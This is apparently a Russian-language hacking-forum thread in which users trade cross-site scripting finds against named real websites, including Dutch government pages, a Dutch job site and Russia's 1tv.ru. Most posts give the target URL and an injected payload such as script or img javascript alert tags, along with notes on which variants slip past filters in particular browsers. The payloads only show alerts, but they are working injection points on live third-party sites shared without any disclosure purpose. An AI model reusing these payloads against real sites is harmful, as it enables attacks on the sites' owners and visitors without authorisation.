![]() |
Ещё немного Xss и прочего.
Завалялось вот у меня немного барахлишка. Выкладываю чтобы не пропало. =))
Код HTML:
http://vacaturekrant.nl/werkgever/bestel.fpl?action=<img%20src=javascript:alert("test")> |
XSS На сайте правительства Нидерландов _http://www.regering.nl/sys/zoeken.jsp В поле поиск <body onLoad=alert('ok')>
_http://www.government.nl/print.jsp?start_comment=print-start&end_comment=print-end&url=%3Cscript%3Ealert(/cccp/)%3C/script%3E |
http://www.1tv.ru/owa/win/ort5_conf.conf нашел седня на сайте орт, в поле фио или вопрос "><script>alert(/xss/)</script><h1>test</h1>
|
http://www.oxiris.com/
П строке поиска . <script>alert ('xss')</script> не вы шло , но <table border=200><tr><td>dasd</td></tr> , прикольно получилось . |
|
Если другие теги пропускает, то можно <img src=javascript:alert()>
|
Цитата:
Все равно 0 . |
на http://www.td-shkolnik.com/ прекрасно проходит <script>alert()</script>, только в IE и Опере)))
|
Как то все странно , у меня в ие и опере не работает .
_______ alert () работает alert('xss') не работатет |
если ты про _http://www.oxiris.com/ там сойдет <img src=vbscript:alert()> исключительно для алерта...
|
| Время: 06:34 |